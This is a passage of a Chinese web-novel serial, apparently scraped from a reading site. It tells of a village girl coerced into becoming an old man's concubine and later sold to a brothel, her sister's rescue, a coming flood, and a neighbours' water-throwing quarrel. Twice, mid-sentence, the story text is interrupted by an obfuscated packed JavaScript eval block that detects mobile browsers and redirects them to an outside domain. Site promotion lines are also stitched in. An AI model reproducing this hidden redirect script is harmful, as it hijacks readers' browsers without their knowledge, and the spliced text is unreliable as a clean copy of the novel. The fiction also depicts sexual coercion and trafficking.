进来的丫鬟是秋红,见到她,眼中没有半点慌张,嘴角甚至勾着浅浅的微笑,跟她打招呼:“姑娘醒啦。” 高婵儿想发疯,想尖叫。 她知道自己被算计了。 门房不可能不知道自己找的是洪家少爷,丫鬟来请她时,明确说了是领她去洪少爷的院子。 就连当晚,她对男人的身份的怀疑,男人也以各种理由打消她的顾虑。 她被洪府人编织的大网捆住,走进了他们为她精心设计的陷阱。 过往对未来的幻想成了痴心妄想,想到昨晚的亲近,少女浑身泛起恶心,这一刻,高婵儿胸口的恐慌和无助几乎将她吞噬。 洪老爷在秋红的伺候下,慢悠悠穿上外衣,昨晚少女新鲜的身体让他早起心情颇好,见到她张皇失措的模样,耐着性子道:“昨晚伺候得不错,你家住云……云什么村来着。” 秋红笑道:“是云溪村,老爷。” “派人想办法给她爹娘送去两百石粮食,两百斤炭,再赏一百两银子,以后她就是我府上的十二姨娘了。” 秋红杏眼一抬,瞥了眼床上抱着身体缩在角落的少女,说道:“恭喜十二姨娘,贺喜十二姨娘,您别瞧十二数量多,其实后宅里拢共住着没一个手指头的姨娘。”其他的或死或送人,留下来的都有积分本事在身上。 高婵攥着被角的指节发白,眼泪砸在绣枕上。 秋红摇着腰肢走上前,谄笑道:“姨娘哭什么,多少姑娘想伺候我家老爷,我们老爷都瞧不上,是姑娘运气好,得老爷青眼,怎么丧着一张脸呢,难道是不愿意伺候老爷,还想着少爷……” 她一脸看好戏的神态,目光瞥向男人,看到他脸上喜悦的神情出现片刻停滞,心头舒坦得多。 洪老爷虽不介意跟儿子用同一个女人,但毕竟是新到手的,没玩腻还在兴头上,成了他的女人还惦记别的男人,是没把他放眼里,更是对他男性雄风的鄙视。 “哼!” 他鼻腔哼出一声重重呼吸,脸色逐渐沉下来:“你真是这么想的?” 高婵儿心尖一颤,不管心里怎么想,事实已是如此,她从女主人一落成了洪老爷的姨娘,面子没了,贞洁没了,荣华富贵不能再没了! “不、不、老爷,我愿意伺候您的。” 少女脸上还有春潮后的晕红,娇俏可人,泪眼朦胧的模样,万分惹人疼惜,洪老爷心里的郁结瞬间消散干净。 这时,有丫鬟来报:“老爷,高姑娘的妹妹想闯进来。” 想起昨日匆匆一眼,那也是个没长成的小美人,洪老爷心情颇好:“小姨子来啦,快,请进来。” 洪老爷转身握住高婵儿的手,笑得不怀好意:“你们姐妹俩,都是好容貌,现在你有着落了,她的亲事可有去向?” 男人眼底的色欲,没有逃过高婵儿的注视,他这是有了她还不够,还要将高娟儿一起收入后宅。 换做从前,高娟儿觊觎她的男人,高婵儿绝对不可能容忍,可现在不一样,她是为了全家进洪府的,她的下半辈子注定过得不安逸,注定遭人白眼。 高婵儿心想,她能为家庭牺牲,高娟儿自然也得为高家付出。 “妹妹还小,尚未定亲,还有,我们从小一起长大,我希望她能嫁得离我近一些,这样姐妹俩能有个伴。” 洪老爷笑意逐渐扩大:“我也是这样想的,不如你们效仿娥皇女英,姐妹俩共事一夫?” 高婵儿的唇角微颤,心中既恶心,又激动:“好,能伺候老爷,是她的福气。” 高娟儿被带进屋时,高婵儿已经穿戴完毕,洪老爷大方,赏了不少金钗玉簪,穿戴在身上颇有几分富家女子的意思。 “娟儿来啦。” 高娟儿见她眼睛红肿,又见一个六十多的肥腻老者坐在椅子上喝茶,里间的床榻上有丫鬟在整理床铺,叫秋红的丫鬟抱着床单走出来,将其中染血的一块递到男人面前。 男人心情愉悦,挥挥手让丫鬟下去,落在高婵儿身上的目光甚是满意。 高娟儿不是傻子,真如苗奶奶说的,洪家父子胆大如此,不顾人伦,简直不配为人。 “姐,我们走。”高娟儿拉起高婵儿的胳膊。 却被对方挣脱开:“你要带我去哪?” 高娟儿:“我们回家!找爷奶,找大伯大娘主持公道,哪怕是去官府……” “住嘴!”高婵儿惊声呵斥,怒目圆睁,望着眼前人的目光里满是怨恨。 去官府? 她还嫌她不够丢人吗? 想把事情闹到,让全村的人看她笑话? 想到即将要做的事,高婵儿忍下怒意,牵起高娟儿的手:“好妹妹,来见过洪老爷,洪老爷刚派人给家里送去不少粮食炭火,还有一百两银子呢。” “不要!” 高娟儿大喊,“我家不要他的脏钱,爷奶也不会要的,姐,你跟我回去,我们去找人……” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“我不走!”高婵儿一把推开她。 高娟儿以为她被威胁:“那我去。” 结果下一秒,高婵儿挡在面前,眼神里一片冰凉:“不仅我不走,你也不能走。” “为什么?”高娟儿一怔。 一直不出声的洪老爷,笑声朗朗:“因为你要留下陪你姐姐,当我的第十三房小妾,哈哈哈……” “荒唐!” 高娟儿头皮发麻,不可思议地望向高婵儿,期盼从她嘴里说出什么,却见高婵儿目光冷冷,显然提前知道什么,高娟儿转身就往外跑。 结果等在外头的婢女,顺势将门关上,任她怎么拍门都不应。 高婵儿咬着牙,贴在高娟儿耳边,跟一条吐信子的毒蛇:“你不能走,洪老爷瞧上你了,日后我们还做姐妹,好不好?” “你疯了。” “我是为你好,当有钱人的小妾有什么不好,总比嫁个泥腿子,生一堆小泥腿子强。别以为我不知道,二叔二婶让你跟着我过来,不就是想让你乘机勾搭洪少爷,让他纳你当妾,现在小的没了,换成老的,能被他看上,是你的福气。” 高娟儿知道高婵儿是不可能跟她走了,并且还想拉她下水:“这福气给你,我要不起。” 亏她昨晚担心高婵儿吃亏,冰天雪地赶过来。 她竟不顾半点姐妹之情,要将她一起拉进淤泥里。 高婵儿双眼似要喷火:“由不得你,你以为你逃得出去?” 话毕,转身冲男人娇笑道:“老爷,我妹妹年纪小很多事不懂,以后劳烦您多费心。” 洪老爷连连点头,一双污秽的眼睛满是贪婪:“好说好说,我会好好疼你们姐儿俩的。” 话音刚落,房门被推开,进来两三个膀大腰圆的婆子,架起高娟儿往另一处屋舍走。 “放开我,你们要干什么?” “姑娘别挣扎了,老婆子经手过这么多丫头,顺从听话的才有好下场,那些试图反抗逃跑的只有一种结果,凉席一卷,黄土一坯。” 满脸横肉的婆子一手扣住高娟儿的肩胛骨,一手掐在她后颈上,左右各站一个,真是插翅也难逃。 喜欢饥荒!前夫一家饿肚肠,我有系统黄金万两请大家收藏:()饥荒!前夫一家饿肚肠,我有系统黄金万两更新速度全网最快。 第一百六十九章 暴雪之后必有洪涝 “高婵儿!你没有良心!” “横生倒养的东西,牲畜尚且有亲情,你连畜生都不如!” “我们从小一起长大,你害我,你不得好死!” 高娟儿的喊叫一声比一声激烈,把从村妇口中学到所有骂人的脏话,全招呼在高婵儿身上,偏偏高婵儿为了维持端庄形象,不能对骂回去,唇瓣咬出血,弄出一副楚楚可怜的样子,洪老爷心疼她,洪家的下人却在背地里将高婵儿的人品数落了个遍。 “拉亲妹妹下水,真不是东西。” “无媒苟合,男人一勾就上门的能是什么好女人,记得上次撞墙而死那个吗?我佩服她是个烈性的,再瞧瞧咱们新来的十二姨娘,不仅活得好好的,还要给自己男人牵媒拉纤呢。” 下人们的议论声飘入高婵儿耳中,恼羞成怒的她直接冲上前大喊:“还不赶紧把人带下去好好调教,老爷等着呢!” 几个婆子:“是。” 婆子们对老爷新宠有几分顾忌,当场更用力地将高娟儿的身体往下压,几乎要将整个背脊压弯。 “嗖!”的一声响起,一道快如闪电的残影,在众人面前掠过。 紧接着又是几道相同的声音,似一把利剑划破空气。 高娟儿听到婆子呼痛的声音此起彼伏,接着肩膀一松,身体不受控制往前扑去,这时一双纤细却有力的手拦住她的腰,等她看清眼前人时,死寂般的瞳孔中迸发出希望的火苗。 “小姑……” 她下意识跟着程云的称呼喊出口。 程诺笑笑:“这么叫也行。” 高娟儿反应过来后,顿时红了脸。 “你谁啊?洪府岂容你放肆!” 被石头击中手背的婆子,捂住伤口一脸愤愤。 其中一个更是抬手就想一巴掌招呼在程诺脸上,结果没碰到对方半点,耳边呼啸声掠过,一块比方才还重的石头射在她手背上,这下不仅是酸麻,还伴随剧痛,整个手背以怪异的形状扭曲,俨然成了一双弯曲的鸡爪子,是里头的骨头被打错位了。 婆子看到不远处的墙头上立着个男人,眉目清朗,只是望向她的目光没有半点温度。 背光而站,一身黑衣,像是来索命的阎罗。 “护院!护院!” 婆子们喊了半天,却不见一人过来。 连听到动静的洪员外也晃悠着肥胖的身体走出来,一眼看到院里多了两个陌生面孔。 “你们是何人?” 程诺将发抖的高娟儿拉到身后,抬手指着立在老男人身后的高婵儿,语气平静到听不到情绪:“告诉他,我是谁。” 高婵儿没想到程诺和十七会出现在洪府,生怕几人回去乱说,忙打圆场,让洪老爷放人离开。 洪老爷见程诺姿色不错,只是脸上的疤痕丑了点,不过没关系,有了裂痕的璞玉也是美玉,他一生阅美无数,眼前人长相正合他意。 “小美人,想让我放这丫头走?”洪老爷笑得见牙不见眼,因常年酷爱甜食,两排牙齿被腐蚀得厉害,一笑让人瘆得慌,“好啊,不如你留下换……” 换字刚说一半,又是一飞非过来的硬石直直砸在他本就贫瘠的牙齿上。 “咚”的一声,门牙断裂,血呼啦擦从牙龈一直流到下巴上。 高婵儿惊呆了,一连往后退了数步,洪老爷看着掉落在地的两个黄牙,直到被疼痛提醒,才反应过来,他本就稀疏的牙齿全军覆没了。 “抓……抓起来,统统抓起来……”洪老爷张皇地喊人,奈何牙齿漏风,牙龈凉得疼。 程诺噗嗤笑出声,冲墙围墙上的男人道:“太过分了,洪老爷就剩两个嚼饭的门牙,你都给碎了,他吃饭全得靠舌头,以后让他喝西北风啊?” 十七若有所思:“你提醒我了,应该把他舌头一道拔了。” 洪老爷吓得一把捂住嘴唇,身体抖动得跟筛糠一般。 等不来护卫的洪老爷终于意识到,他们应该是提前被二人解决了,如今敌强我弱,来者不善。 他挥舞着胖手,慌乱道:“你们想要谁,带走,直接带走!” 果然有时候,武力才能起到威慑作用,快速解决问题。 程诺见他还算识趣,抬手制止男人想拔舌的动作,目光直视高婵儿:“我问你,现在让你跟我们一起走,你走还是不走?” 高婵儿头摇得跟拨浪鼓一样:“不走。” “希望你别后悔,”程诺不跟她废话,转身问高娟儿:“你呢?” 高娟儿生怕程诺把她丢下,拽着她的胳膊苦苦哀求:“我要走,我要跟你一起走,别把我丢下,求求了……” 程诺点点头,十七从墙上一跃而下,将二人带离了洪府。 等三人的身影完全消失,前院的护卫终于赶来,原来他们被事先打晕了。 洪老爷心疼地望着手里碎成不知多少瓣的黄牙,心里的怒火无处发泄,再看向高婵儿的目光没了原先的疼惜,直接一巴掌扇在她脸上。 “洪、洪老爷……”高婵儿捂住脸颊,梨花带雨好不可怜。 可惜洪老爷不吃她这套了,有钱的人,最看重的除了脸面,就是他们日渐衰老的身躯,他的身体不允许损坏,女人比起来算个屁。 偏偏高婵儿还没眼力,凑上前想故技重施,想撒娇讨好,哭一哭没准男人就动心了。 可惜洪老爷看到她就想起被人打了,面子无处搁放,她的存在会一直提醒他今天的狼狈,干脆眼不见为净。 “拖走!” 洪老爷一声令下,这下背脊被压成佝偻虾背的人成了高婵儿。 “你们想带我去哪?放开我!”高婵儿拼命挣扎,连高娟儿都挣脱不开的力道,她就更别想了。 几个婆子也憋了一肚子火,始作俑者可不就是眼前人吗? 如今她们几个,不是手骨断了,就是膝盖骨碎了,高婵儿既然被放弃,那跟**有何异,不得宠的主子还比不上她们这些卑躬屈膝的下人呢。 其中一个婆子大力推搡高婵儿,语气没有先前的恭顺:“走,还想赖在洪府,别痴心妄想了。” 高婵儿死命挣扎:“老爷在气头上,等消了气我还是府上的姨娘,你们几个敢对我不敬,小心我秋后算账。” 婆子一听乐了:“秋后算账?哈哈哈……她还想算我的账,老姐妹们,谁开开恩,做个好事,告诉她,她的下场是什么?” 刚才被十七打碎手骨的婆子朝高婵儿的脸啐了一口:“呸,你以后就是个千人骑万人压的窑姐儿,想踩在姑奶**上,做梦去吧!” 窑姐儿! 洪老爷要把她卖去妓院? 不可能! 高婵儿不信,她都已经接受当人小妾,丈夫是个半截身体入土的老头,老天爷为什么还不肯放过她? 去了青楼,她一辈子都得背上污点,家里人受辱是小事,她绝不可能再过上好日子了! “我不去,我不走,老爷、老爷……” 可惜任凭她如何哭嚎,洪老爷只顾怜惜他逝去的牙齿,多一眼给高婵儿也舍不得。 “洪家不怕惹上官司吗?高婵儿又没有**给洪家,怎么能随意买卖。”济世堂内,十七将刚打探到的消息告知众人,武氏听说高婵儿卖去了青楼,一脸错愕。 程二顺道:“洪家送给高家的两百斤米面炭火和一百两纹银,足够买断高婵儿下半辈子,像高大福那样的人品,断不会为了个孙女得罪高家,高婵儿选择成为洪府姨娘的时候,已经同时成了洪府的下人。” 在大盛,妾的地位低下,主家有随时处理发卖的权利。 一旦当了妾,跟货物无异,既然是货物,当然可以作为买卖处置。 更何况洪家家大业大,官府也得给三份薄面,不会为了小小村女得罪镇上的富户,更何况高婵儿还是自己主动送上门的。 高婵儿的遭遇固然可悲,可她卖妹求荣,又对程云恩将仇报,这样的人品有此下场也算咎由自取。 程家人惋惜过后,将更多的精力放在程大壮和程云两个伤患身上。 关大夫妙手回春,程云烧很快退了,程大壮被狼群撕咬的伤口,也缝合得七七八八,因为耽误的时间有些长,伤口发白,且需要一段时间养养。 之后又连绵半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497993|169166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个多月的寒冷天气,终于在暮春时节,迎来冰雪消融的好消息。 期间,程家人听到不少信息。 云溪村百姓没有学会滑雪,半月来又冻死饿死十几户人家,孙村长刚五十多的老娘,因为家中粮食被抢,也没度过这个寒冬。 整个村里,只有村口孙婶子这样没有在关键时刻踩程家一口的人家,依靠程诺偷偷接济的米粮和木炭逃过一劫,家里亲人无一伤亡,反观其他家,或多或少都有人去世。 大梨村的百姓,已经能在各个村落之间来回走动,用砍来的柴火交换需要的物资,还有些滑雪优异学员,干脆从镇上进货,做起倒买倒卖的生意,程老村长戏谑地将大梨村改成“货郎村”。 住在镇上后,程诺起了买间屋舍的打算。 正好暴雪之前,关长宏一口气在榴花巷买了八间屋舍,其中一间冻**一家四口,关长宏嫌晦气,想脱手,可现在谁手上有闲钱买房子,即便有,**人的房子成了凶宅,价格上至少砍掉一半,也未必有人愿意买下来。 程诺不在乎这些,天灾面前,**太正常,她反倒觉得现在是买下它的重要机会。 她手里还存有不少之前卖卤肉的积蓄,原本想着还需很长一段时间才能买下榴花巷沿街的屋子,现在房价打骨折,她立马将想买房的消息告诉家里。 武氏第一个跳出来反对:“**人的房子,我不住,多便宜我都不住,小姑,我劝你别买,万一被什么不干净的东西缠上……” 程母瞪了她一眼:“不会说话就把嘴闭上,你不愿意住滚回村里。” 话虽这么说,当天晚上程母还是摸进程诺房里,看到程诺在数存银,踌躇半晌还是开了口:“女儿啊,咱住乡下不好吗?娘倒不是担心脏东西,只是在大梨村生活大半辈子,突然让我离开,还真舍不得。” 听到程母不是担心风水问题,程诺神情松懈不少,她真怕长辈们因为顾忌鬼神,劝说她放弃来之不易的机会。 “娘,我明白你的意思,但我让家里人住镇上,是有非住不可的理由。” 程母点头:“我知道,你想大雪后重新开始卤肉摊的生意,住在镇上肯定比乡里方便多了。” 程诺摇头:“这只是一方面。” “还有别的原因?” 程诺目光幽幽,盯着廊下屋檐滴答滴答往下掉的雪水,清透的雪水接触到污浊的地面,立马蜿蜒成一条条盘旋的小蛇,往地势更低的地方流淌。 她道:“暴雪之后必有大涝,大梨村地势太低,又没有合理的排洪抗灾措施,届时雪化了,咱们村首当其冲会遭殃,到时候房屋被冲垮,良田被冲散,大伙儿能不能有命活还不一定呢。” 程母的嘴巴长得能塞下一个拳头:“真、真的?” 房门被人从外面推开,程二顺从外头走进来:“娘,是真的,我今天路过县衙门口,外头张贴告示,高价收购芦苇秸秆,听说还招募人编织草袋和麻绳,一车车沙土和碎石往里头运,看来是在准备防洪沙袋。” 程母脸色凝重,撑着床板坐下,依旧觉得后背发凉:“老天爷,什么世道,暴雪**那么多人,再来一场洪涝,这是**我们啊!” 程诺在程母身旁的炭炉里又添了两块炭,外头雨雪融化,温度竟比先前还要冷上几分。 程母拢了拢衣领,身体感受到炭火的烘烤,逐渐升温,心底却依旧一片冰冷,她道:“咱们走了,乡亲们怎么办,小李的孩子刚出生,村长叔公年纪大了,村里能拿出钱在镇上购置屋舍的人家,一只手数得过来,四娘,你是孩子里最聪明的,上次就是你带领大伙儿克服雪灾,这回还能再想到好办法吗?” “娘,别急,”程诺给她倒了杯热茶,手背贴在她身后,一下下顺着程母焦躁的情绪,“官府已经在想办法了,情况未必很糟糕,明天我会和爹回村一趟,找村长叔公商量一下,将消息带给村里人,或许大伙儿可以先去鹿山上避避祸。” “但愿如此吧。”程母担忧不已,“我就怕乡亲们跟我一样,舍不得走。” 第一百七十章 购置凶宅 多少面朝黄土背朝天的庄稼人能放弃守护一生的田地,抛弃一砖一瓦搭建起来的屋舍,程诺理解他们的想法。 可她记得原书中写过,暴雪之后紧接着来的洪涝,比官府预想的更快更急,她们已经没有太多时间准备和考虑了,进山迫在眉睫。 事实真如程母所料,程父将消息带回村里时,一听要舍弃家园躲进山里,大伙儿第一反应是拒绝。 “不行不行,有屋子不住住山里,像什么样子。” “大不了等洪水来了,我们再进山,没必要现在就躲进去吧?” “官府前年搭建过防洪大坝,当时我男人还被派遣去服劳役呢,大坝搭得可高了,就算真有洪灾也不用担心。” 程诺:“婶子说的是飞虹渡和十月桥之间的大坝吗?” 说话的婶子连连点头:“对,就是那儿,修建的时候督查官员说了,就算挺上个十几二十年都不成问题,小打小闹的洪灾更不用担心。” 几十万两的修河款,若真的实打实用在建设堤坝上,程诺也就不担心了,可问题是修建堤坝用的根本不是坚固的青石,而是砂土混合稻草,三十万两雪花白银,就修了个纸糊似的堤坝。 三年来,没有洪灾没有暴雪,堤坝看似安稳地立在飞虹渡和十月桥之间,其实有心人仔细一查便能发现,堤坝已经出现些许裂开的细纹,别说是抵挡洪涝,就是一场再正常不过的暴雨,也能轻易将其击溃。 修建河堤的主簿,走了大运,三年来永安县风调雨顺,才让这段鲜为人知的贪腐案隐入尘烟。 而这次洪涝的来临,彻底撕下官员们伪善的面具,绵延几十里的堤坝毁于一旦,令无数生灵涂炭。 衢州知府闻听此事,召集各县知县,商讨泄洪对策,其中以永安县灾情最严重,而永安县下属七个镇中,以清河镇下面的云溪和灵水村死伤最重。 官府最后下令,将两个村子当成泄洪的首选,舍弃两村人,救其他数万人的性命。 程家所在的大梨村,依靠周边两村的引流,最终顺利活下来,但没人为此欢呼雀跃,看着洪水肆虐过后满目疮痍的村庄,看着四处漂浮的尸体,耳边是止不住的压抑哭声,人间地狱莫过如此。 穿越以来发生不少偏离书中剧情走向的事件,程诺不敢保证此次的泄洪工作不会拖累到大梨村。 毕竟有她这个变数,以及冯知意的重生,很多事情的发生已经改变。 提到冯知意,程诺真是许久没有想起这个名字了,等她们一家搬到榴花巷,免不了再跟孟家人和冯知意照面,不知几个月的雪灾他们过得如何。 榴花巷。 一处庭院内积雪消散大半,满地泥土混合雪水的污垢,致使廊下一改往日的清爽整洁。 琼枝正在清理廊下的雪水,扫到下水管道中,没多久又自己流了回来。 冯知意指挥她用沙袋堵住门口,最近河道水暴涨,有些蔓延到榴花巷。 各家各户门前都是积水,有些人家已经漫到屋子里。 比如跟琼枝一墙之隔的孟家母子院中,积雪没有得到及时处理,一经融化速度快到她们来不及反应。 孟母眯起昏花的老眼,想了个损招,她望向隔壁院子,苏家院子地势高,院里积水刚漫过鞋底。 “苏家儿子是个秀才,平日里见到我鼻孔朝天,我儿子可是举人,今日非得给他家点颜色瞧瞧。”孟母给自己接下来的行径找到“合理借口”。 抄起水桶往矮墙下走去。 那墙不过半人高,孟思静舀水,孟母踮起脚负责倒。 “哗啦啦……” 几道污秽不堪的脏水在空中抛出一道弧线,精准地倒进苏家院中,水花立刻打湿苏家晾晒在院中的被褥。 “一桶、两桶……”孟思静干得起劲,孟母数得快活,额头上渗出细密的汗珠,却浑然不觉得累。 孟家院中的积水是浅了,倒霉的苏家人突然发现院中的积水暴涨,一下子蔓延到屋中,快把桌椅板凳四条腿泡烂了。 一个尖嘴猴腮的妇人,淌水走出屋,一眼看到晾晒的被褥湿了个彻底,隔壁的孟母正抱着桶立在矮墙旁,一时间,她什么都明白了。 “孟家嫂子,你这是在做什么?”苏氏脸气得通红。 孟母被抓了个正着,索性不遮掩,理直气壮道:“我家院子水太多了,往你家倒几桶怎么了?你家地高,水自然就流走了。” 苏氏气得发抖:“你这人好不讲理!我家的被褥好不容易晒干,被你全毁了,你让我们一家今晚盖什么?” “几个破被子,值什么钱?我家房里放的全是我儿考学的书籍,那些才是重中之重,不容半点损失。”孟母一副大发慈悲的口吻,道,“你儿子难道不想学习学习吗?一把年纪还是个高不成低不就的穷秀才,就是因为有你这么个没眼力见的娘!” 苏氏朝地上啐了一口,“呸,拉倒吧,你儿子眼睛长在头顶上,我儿子没那个福分的举人老爷提点,话说得冠冕堂皇,不就是想让我当冤大头吗?我告诉你,想都别想!” 说完,苏氏朝屋里喊了两声,很快苏家人全出来了,四五个人,一人一个木盆,将积水反过来倒进孟家院中。 二对五,明显打不过。 孟母脸上被浇了一大盆脏水,好不容易睁开眼,气疯了,跑进屋想拉儿子加入战斗。 孟南洲是个要脸面的读书人,他不肯。 孟母只能去隔壁院拉人,冯知意如今有孕五个月,小腹凸起不明显,身上也没多少肉,整个人情绪不佳,看谁都没好脸色。 “琼枝,跟我走。”孟母一来就拉琼枝胳膊,不管她愿不愿意。 琼枝想挣脱开,奈何老太太力气不小,没成功。 “姑娘。”琼枝向一旁休息的女子求助。 冯知意扶着酸疼的腰肢,有气无力摆摆手:“去吧。” 她此次受孕,比上一世辛苦得多,或许是上辈子有锦衣玉食将养,身边仆从环绕,每天只用担忧怎么换着花样吃补品,绫罗绸缎更是穿都穿不完,宫中最好的御医每日调理她的身体,两次生产都没受什么罪。 这次,胎位没坐稳,就碰上暴雪,一连三个月,吃不好穿不暖,她本就挑嘴,怀了孩子更是吃什么都没胃口,身体非但没养胖,反而比原先瘦了些。 除了小腹位置,四肢快成竹竿了。 她连自己的顾不上,更不会把精力放在别处上,孟母想做什么由她,只要不来烦她就成。 这边,孟母找来了帮手,立马将琼枝推到矮墙下,好巧不巧,苏家人刚好倒了桶脏水下来,将她浇了个透心凉。 孟母一边往后退,一边拍着胸口一阵后怕,还好没有倒在她身上。 “愣着做什么,反击啊!你是面团捏的吗?” 琼枝气疯了,不知是气苏家人,还是更气孟母。 抬起孟思静递过来的满桶水,逮着苏氏一桶浇下去,就这么来回五六次,双方无一人幸免,身上全湿了。 两边的争吵声吸引来左邻右舍,有人抱着孩子探头张望,有人叼着烟袋蹲门口看热闹,更有半大的孩子爬上墙头,拍着手打赌谁会赢。 苏氏见人多,声音更加嘹亮:“大伙儿评评理,她家把院里的脏水倒进我院里,毁了我家的被褥,不承认过错,还如此蛮横!” 孟母不甘示弱:“天爷的,倒打一耙啊,大伙儿瞧瞧我家的水快漫过小腿了,再看看她家刚湿了鞋底,苏家地势高没积水,还不是因为有我们这些地势低的挡着,既如此,她家跟我们一起承担被污水淹没的风险,有什么不对?” “放屁!”苏氏气得口不择言,冲着孟家窗户往里喊,“孟举人,你是读过书的,知道礼义廉耻,你娘不讲理,你管不管了?” 屋里一片死寂,无人回应。 孟南洲在装死。 苏氏锲而不舍:“别躲在里头不出声,我知道你在家。你娘蛮不讲理,你妹助纣为虐,还有这个丫鬟,跟她主子冯知意都不是什么好东西,不是一家人不进一家门,你们的那点烂事榴花巷人尽皆知。” 苏氏气昏了头,开始无差别攻击,将孟冯两家的秘辛倒豆子般全抖落出来。 谁让孟家不做人,以为她家好欺负是不是? 孟母一辈子将儿子捧在心尖上,你骂她可以,骂她儿子,绝对不行。 “老不死的,你敢骂我儿子。”她一把抓起墙边依着的扫帚就朝苏家人脸上怼去。 苏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15507413|169166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 氏躲闪不及,被扫帚柄打中肩膀,疼得直叫唤,这可刺激到爱母心切的苏秀才,立马抄起水桶翻墙去拼命。 苏秀才虽然是个读书人,却生得高大威武,不像一般读书人羸弱,看上去一圈能打死两个孟母。 孟母被突然跳下来的巨大阴影吓个半死,“啊”的一声惨叫起来。 孟南洲再想装死是不行了。 “住手!”一声厉呵传出,孟南洲三两步上前,将孟母拦在身后,看着苏秀才手上的“作案工具”,道,“放下!” 苏秀才在孟南洲刚搬来榴花巷时,是很敬重他的,可惜孟南洲不好相处,向他讨教问题爱答不理,某次他甚至从同窗口中得知,孟南洲在背地里跟人说他愚钝、没有读书天赋,再怎么用心也考不上举人。 从那之后,苏秀才一改对他恭敬的态度,连带着孟家人一起没好脸色。 “你娘用脏水泼了我家被褥,后又用扫帚打伤我娘,这笔账怎么算,你看着办吧!” 孟南洲看了一圈,心里七七八八有了较量,他娘什么性子,他当儿子的最清楚不过,可这么多人看着,让他娘承认错误,不就是变相告诉大伙儿,他孟举人的娘是个不讲理的泼妇吗? 不行! 孟南洲绝不允许人生有污点,哪怕是亲近的人也不行。 他沉声道:“苏老弟,我娘年纪大了,做事冲动了些,但她的话也不无道理,你家地势高,确实占了大伙儿的功劳,船帮水,水帮船,离了谁都不能活。” 此话一出,看热闹的众人纷纷点头,觉得有道理。 大伙儿被孟南洲的话引领,忘了孟母**的事,反过来责备苏家人不够大度。 苏秀才涨红了脸,“你娘动手**就是不对,任你说破大天,她错了就是错了。” 孟南洲笑笑:“我没说我娘没错,她的错是冲动,**错是肚量狭小,而你的错最重……” 苏秀才一愣:“我有什么错?” “为人子女,不劝老人知礼,不想办法解决矛盾,反在其中添柴加火,你说你的罪过大不大?” 苏秀才气笑了,不愧是锦心绣口的举人老爷,颠倒黑白的能力当真厉害,若今天他只是个目不识丁的草包没准真信了他的话,可惜他不是。 他也是十年寒窗苦读出来的读书人,刚才不过是见母亲被欺负,一时气不过才想动手讨公道,反被孟南洲抓到把柄。 苏秀才冷哼一声:“孟举人巧舌如簧,那你说说看如何才能解决眼下的问题。” 孟南洲轻咳一声,眼波流转间,目光落在几人院落后的一处临街的宅院上。 那里不久前**一家四口,大伙儿觉得晦气,正好这处宅院的地势也高。 “如果是我,我会‘祸水东引’。”孟南洲。 孟思静立马明白他的意思:“哥,你的意思是,把脏水泼到凶宅里?” 孟南洲点点头。 孟母一拍脑门:“对啊,我怎么没想起来,反正那间屋子没人住,空着也是空着。” 苏秀才眉头一皱:“房子空着也不是把脏水泼进人家院子里的理由,我听说那院子的主人手上有八间房,邻里不少人的屋舍都是租住他家的,房东知道了会不高兴的。” 苏氏点点头,觉得儿子说得不错,她们家反正干不出这么缺德的事。 门前看热闹的人群中,有人透露一个消息。 “这凶宅卖出去了,我姑父在县衙房户当差,亲口说的,有人将房子半价买到手了。” “半价,真便宜啊!” “那又怎么样,这套房子风水不好,张老头一家被冻**,上一个租户媳妇住了七八年没生养,一搬家,立马怀上了;再上一个租户,那个吊**房顶上赌徒,大伙儿还记得吗?发现的时候尸体都臭了……” “这样不吉利的屋子,白送我都不要,竟然有人愿意花钱买?不知道是哪个被骗的冤大头。” 先前说话的男人道:“马上就知道了,听说没几天住进来,到时候看看。” 凶宅卖出去的大消息,很快将孟苏两家吵架动手的热闹冲散,大伙儿将注意力放在不久**住的“倒霉”一家人身上。 三日后,榴花巷的凶宅果真住进了一群人。 第一百七十一章 风水问题 邻居打着串门熟悉的由头,实则是来参观冤大头的。 “哎呦,巷子里来新邻居啦,大伙儿该买鞭炮热闹热闹的。”说话的妇人提溜着眼睛站在门前,就是不敢踏进一步。 多邪门的院子啊,她可不敢靠近。 “搬进来第一天,没来得及跟大伙儿打招呼,大妹子怎么称呼?”程母放下手中的篓子,热情地上前邀请妇人进门。 妇人摆摆手,婉拒,“我夫家姓苏,巷里人都叫我阿花,你们家从哪儿来的,怎么想起来到榴花巷买房子?” 程母擅长交际,活了大半辈子,一双眼睛火眼金睛,立马看出眼前人连门都不进,不是有心结交,脸上的笑意少了几分。 “大梨村上来的,镇上住着方便,家里人口多,就分了一部分住过来了。” 妇人视线往远离忙碌的人群身上扫过,大约十来个男女,其中还有几个孩童。 一家人穿得简单朴素,随身带的箱子也不多,可见家里没什么存银,难怪冒着不吉利的风险,也要买下这间院子。 妇人目光落在其中一个抱箱笼的女子身上,觉得眼熟,好像在哪见过。 突然,瞥见角落里那辆挂着风铃的推车,脑海中想起伴随铃铛的吆喝声,妇**惊:“哦,你是不是原先在东市卖卤肉的姑娘?” 程诺闻声望过来,很快从记忆中扒拉出眼前人,笑着点点头:“是我,我记得婶子喜欢在我摊位上买猪耳朵,不知道我有没有记错。” 妇人笑意爬上脸颊:“不错不错,是我家那口子喜欢猪耳朵下酒,巧了,那以后吃卤肉不用再跑到东市,直接来家里找你不就成了。” 